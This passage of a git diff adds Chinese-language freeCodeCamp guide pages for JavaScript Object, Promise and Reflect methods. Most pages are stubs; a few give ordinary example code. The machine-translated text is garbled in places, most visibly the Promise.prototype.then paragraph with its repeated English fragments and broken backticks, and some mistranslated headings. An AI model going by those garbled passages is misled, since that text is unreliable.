+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.keys(an_obj)); // console: ['2', '7', '100'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.keys(my_obj)); // console: ['foo'] 
+ 
+ // Create a constructor function. 
+ function Pasta(grain, width, shape) { 
+    this.grain = grain; 
+    this.width = width; 
+    this.shape = shape; 
+ 
+    // Define a method. 
+    this.toString = function () { 
+        return (this.grain + ", " + this.width + ", " + this.shape); 
+    } 
+ } 
+ 
+ // Create an object. 
+ var spaghetti = new Pasta("wheat", 0.2, "circle"); 
+ 
+ // Put the enumerable properties and methods of the object in an array. 
+ var arr = Object.keys(spaghetti); 
+ document.write (arr); 
+ 
+ // Output: 
+ // grain,width,shape,toString 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-preventextentions/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-preventextentions/index.md
new file mode 100644
index 0000000000..b778c20838
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Object preventExtensions
+localeTitle: 对象preventExtensions
+---
+## 对象preventExtensions
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-preventextentions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definegetter/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definegetter/index.md
new file mode 100644
index 0000000000..4507e19a17
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definegetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineGetter__
+localeTitle: Object.prototype中.__ defineGetter__
+---
+## Object.prototype中。 **defineGetter**
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definegetter__/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definesetter/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definesetter/index.md
new file mode 100644
index 0000000000..793c7fde4f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-definesetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineSetter__
+localeTitle: Object.prototype中.__ defineSetter__
+---
+## Object.prototype中。 **defineSetter**
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definesetter__/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
new file mode 100644
index 0000000000..48433e4b72
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
@@ -0,0 +1,46 @@
+---
+title: Object.prototype.hasOwnProperty
+localeTitle: Object.prototype.hasOwnProperty
+---
+## Object.prototype.hasOwnProperty
+
+### 句法
+
+`Object.hasOwnProperty(prop)`
+
+### 描述
+
+**hasOwnProperty（）**方法返回一个[布尔值，](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)指示对象是否拥有指定的属性。
+
+这是检查对象是否具有指定属性的便捷方法;相应地返回true / false。
+
+### 参数
+
+##### 支柱
+
+要测试的[字符串](https://developer.mozilla.org/en-US/docs/Glossary/String)或[符号](https://developer.mozilla.org/en-US/docs/Glossary/Symbol) 。
+
+### 例子
+
+使用**hasOwnProperty（）**来测试给定对象中是否存在属性：
+
+```js
+var course = { 
+  name: 'freeCodeCamp', 
+  feature: 'is awesome', 
+ } 
+ 
+ var student = { 
+  name: 'enthusiastic student', 
+ } 
+ 
+ course.hasOwnProperty('name');  // returns true 
+ course.hasOwnProperty('feature');   // returns true 
+ 
+ student.hasOwnProperty('name');  // returns true 
+ student.hasOwnProperty('feature'); // returns false 
+```
+
+#### 链接
+
+[MDN hasOwnProperty](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
new file mode 100644
index 0000000000..30b02c099f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.is.prototype.of
+localeTitle: Object.prototype.is.prototype.of
+---
+## Object.prototype.is.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-isprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
new file mode 100644
index 0000000000..6c65647c4c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupGetter__
+localeTitle: Object.prototype中.__ lookupGetter__
+---
+## Object.prototype中。 **lookupGetter**
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupgetter__/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
new file mode 100644
index 0000000000..75dce3135e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupSetter__
+localeTitle: Object.prototype中.__ lookupSetter__
+---
+## Object.prototype中。 **lookupSetter**
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupsetter__/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
new file mode 100644
index 0000000000..9ab1840231
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.propertyIsEnumerable
+localeTitle: Object.prototype.propertyIsEnumerable
+---
+## Object.prototype.propertyIsEnumerable
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
new file mode 100644
index 0000000000..618ed1138d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-setprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..0325751b94
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.tolocalstring
+localeTitle: Object.prototype.tolocalstring
+---
+## Object.prototype.tolocalstring
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tolocalstring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tosource/index.md
new file mode 100644
index 0000000000..608a4a0f02
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toSource
+localeTitle: Object.prototype.toSource
+---
+## Object.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tostring/index.md
new file mode 100644
index 0000000000..9fce216303
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toString
+localeTitle: Object.prototype.toString
+---
+## Object.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-unwatch/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-unwatch/index.md
new file mode 100644
index 0000000000..456e7f5d6b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-unwatch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.unwatch
+localeTitle: Object.prototype.unwatch
+---
+## Object.prototype.unwatch
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-unwatch/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-valueof/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-valueof/index.md
new file mode 100644
index 0000000000..0d54ac6c15
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.valueOf
+localeTitle: Object.prototype.valueOf
+---
+## Object.prototype.valueOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-valueof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-watch/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-watch/index.md
new file mode 100644
index 0000000000..0d04235d82
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype-watch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.watch
+localeTitle: Object.prototype.watch
+---
+## Object.prototype.watch
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-watch/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-prototype.constructor/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype.constructor/index.md
new file mode 100644
index 0000000000..557f5cb9f0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-prototype.constructor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Prototype.constructor
+localeTitle: Object Prototype.constructor
+---
+## Object Prototype.constructor
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype.constructor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-seal/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-seal/index.md
new file mode 100644
index 0000000000..c27ee89cf9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-seal/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Seal
+localeTitle: 对象密封
+---
+## 对象密封
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-seal/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-setprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-setprototypeof/index.md
new file mode 100644
index 0000000000..e010e59a0e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-setprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-values/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-values/index.md
new file mode 100644
index 0000000000..94f8da100b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-values/index.md
@@ -0,0 +1,48 @@
+---
+title: Object Values
+localeTitle: 对象值
+---
+`Object.values()`方法返回给定对象自己的可枚举属性值的数组，其顺序与for ... in循环提供的顺序相同（不同之处在于for-in循环枚举原型链中的属性） ）。
+
+## 句法
+```
+Object.values(obj) 
+```
+
+### 参数
+
+**OBJ**
+
+要返回其可枚举自身属性的对象。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values)
+
+## 描述
+
+`Object.values()`返回一个数组，其元素是在对象上找到的可枚举属性值。属性的顺序与手动循环对象的属性值所给出的顺序相同。换句话说，对象具有键：值对，并且此方法返回该对象在类数组对象中的所有_值_ 。
+
+请参阅[Object.keys](https://guide.freecodecamp.org/javascript/standard-objects/object/object-keys/) ，它返回该对象在类数组对象中的所有_键_ 。
+
+## 例子
+```
+var obj = { foo: 'bar', baz: 42 }; 
+ console.log(Object.values(obj)); // ['bar', 42] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.values(obj)); // ['a', 'b', 'c'] 
+ 
+ // array like object with random key ordering 
+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.values(an_obj)); // ['b', 'c', 'a'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 'bar'; 
+ console.log(Object.values(my_obj)); // ['bar'] 
+ 
+ // non-object argument will be coerced to an object 
+ console.log(Object.values('foo')); // ['f', 'o', 'o'] 
+```
+
+\* _在Internet Explorer中不起作用_
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/index.md
new file mode 100644
index 0000000000..e6cf1c430d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise
+localeTitle: 诺言
+---
+## 诺言
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-all/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-all/index.md
new file mode 100644
index 0000000000..3f7bae1855
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-all/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise All
+localeTitle: 承诺所有
+---
+## 承诺所有
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-all/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-catch/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-catch/index.md
new file mode 100644
index 0000000000..12b73985fd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-catch/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise.prototype.catch
+localeTitle: Promise.prototype.catch
+---
+## Promise.prototype.catch
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-prototype-catch/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-then/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-then/index.md
new file mode 100644
index 0000000000..6a3f4eb8c9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-prototype-then/index.md
@@ -0,0 +1,53 @@
+---
+title: Promise.prototype.then
+localeTitle: Promise.prototype.then
+---
+## Promise.prototype.then
+
+`Promise.prototype.then`函数接受两个参数并返回一个Promise。
+
+第一个参数是一个接受一个参数的必需函数。成功实现承诺将触发此功能。
+
+第二个参数是一个可选函数，它也接受一个自己的参数。抛出错误或拒绝承诺将触发此功能。
+
+```javascript
+   function onResolved (resolvedValue) { 
+     /* 
+     * access to resolved values of promise 
+     */ 
+   } 
+ 
+  function onRejected(rejectedReason) { 
+     /* 
+     * access to rejection reasons of promise 
+     */ 
+   } 
+ 
+  promiseReturningFunction(paramList) 
+     .then( // then function 
+       onResolved, 
+       [onRejected] 
+     ); 
+ ``` 
+```
+
+Promise.prototype.then `allows you to perform many asynchronous activities in sequence. You do this by attaching one` \`\`\`函数`allows you to perform many asynchronous activities in sequence. You do this by attaching one`到另一个由点运算符分隔的函数来`allows you to perform many asynchronous activities in sequence. You do this by attaching one`操作。
+
+```javascript
+   promiseReturningFunction(paramList) 
+   .then( // first then function 
+     function(arg1) { 
+       // ... 
+       return someValue; 
+     } 
+   ) 
+   ... 
+   .then( // nth then function 
+     function(arg2) { 
+       // ... 
+       return otherValue; 
+     } 
+   ) 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-race/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-race/index.md
new file mode 100644
index 0000000000..11086e0e35
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-race/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise Race
+localeTitle: 承诺比赛
+---
+## 承诺比赛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-race/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-reject/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-reject/index.md
new file mode 100644
index 0000000000..f2b8391fa9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-reject/index.md
@@ -0,0 +1,22 @@
+---
+title: Promise Reject
+localeTitle: 承诺拒绝
+---
+## 承诺拒绝
+
+`Promise.reject`函数向调用函数返回错误条件。它需要一个参数，一个Error对象或值作为拒绝的原因。
+
+在Promise调用者的末尾链接catch函数将允许您捕获错误条件。
+
+```javascript
+promiseCallingFunction(paramList) 
+  .then( ... ) 
+  ... 
+  .then( ... ) 
+  .catch( function(err) { // catch function 
+    /* 
+     * this is where you can access the reason for the rejection 
+     */ 
+  }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/promise/promise-resolve/index.md b/client/src/guide/chinese/javascript/standard-objects/promise/promise-resolve/index.md
new file mode 100644
index 0000000000..f52da1061a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/promise/promise-resolve/index.md
@@ -0,0 +1,47 @@
+---
+title: Promise Resolve
+localeTitle: 承诺解决
+---
+## 承诺解决
+
+### 描述
+
+`Promise.resolve`函数表示Promise的成功完成。此函数允许您将Promise返回给调用函数。
+
+`Promise.resolve`接受一个参数返回调用函数。此参数可以是值，也可以是其他Promise。
+
+resolve函数的“值”可以是基本的JavaScript类型，数组或对象。
+
+```javascript
+Promise.resolve('success'); // string 
+ Promise.resolve([2, 3, 5]); // array 
+ Promise.resolve({name: 'John', age: '43'}); // object 
+```
+
+“thenable”是一个将两个回调函数作为参数的函数。您可以使用第一个参数触发成功完成，第二个参数返回Promise上的错误。
+
+```javascript
+thenableFunction = {then: function(onSuccesss, onFailure) { 
+    if (condition === 'success') { 
+      onSuccess(paramList); // success condition 
+    } else { 
+      onFailure(paramList); // error condition 
+    } 
+  } 
+ } 
+ 
+ Promise.resolve(thenableFunction); 
+```
+
+将then函数链接到promise调用者将使您可以访问`Promise.resolve`的结果。
+
+```javascript
+promiseCallingFunction(paramList) 
+  .then(function(value) { 
+    /* 
+     * this is where you get access to the value 
+     * returned by a promise on successful completion 
+     */ 
+  }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/index.md
new file mode 100644
index 0000000000..7d9557660e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect
+localeTitle: 反映
+---
+## 反映
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-apply/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-apply/index.md
new file mode 100644
index 0000000000..bd7695ddcb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Apply
+localeTitle: 反映申请
+---
+## 反映申请
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-apply/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-construct/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-construct/index.md
new file mode 100644
index 0000000000..ad8de7eed9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-construct/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Construct
+localeTitle: 反思建筑
+---
+## 反思建筑
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-construct/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-defineproperty/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-defineproperty/index.md
new file mode 100644
index 0000000000..72a430d170
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect defineProperty
+localeTitle: 反映defineProperty
+---
+## 反映defineProperty
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-defineproperty/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
new file mode 100644
index 0000000000..cf5aac1e8c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect deleteProperty
+localeTitle: 反映deleteProperty
+---
+## 反映deleteProperty
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-deleteproperty/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-get/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-get/index.md
new file mode 100644
index 0000000000..000c485993
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-get/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Get
+localeTitle: 反思得到
+---
+## 反思得到
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-get/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..3be8132c2a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect getOwnPropertyDescriptor
+localeTitle: 反映getOwnPropertyDescriptor
+---
+## 反映getOwnPropertyDescriptor
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
new file mode 100644
index 0000000000..650355c634
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.get.prototype.of
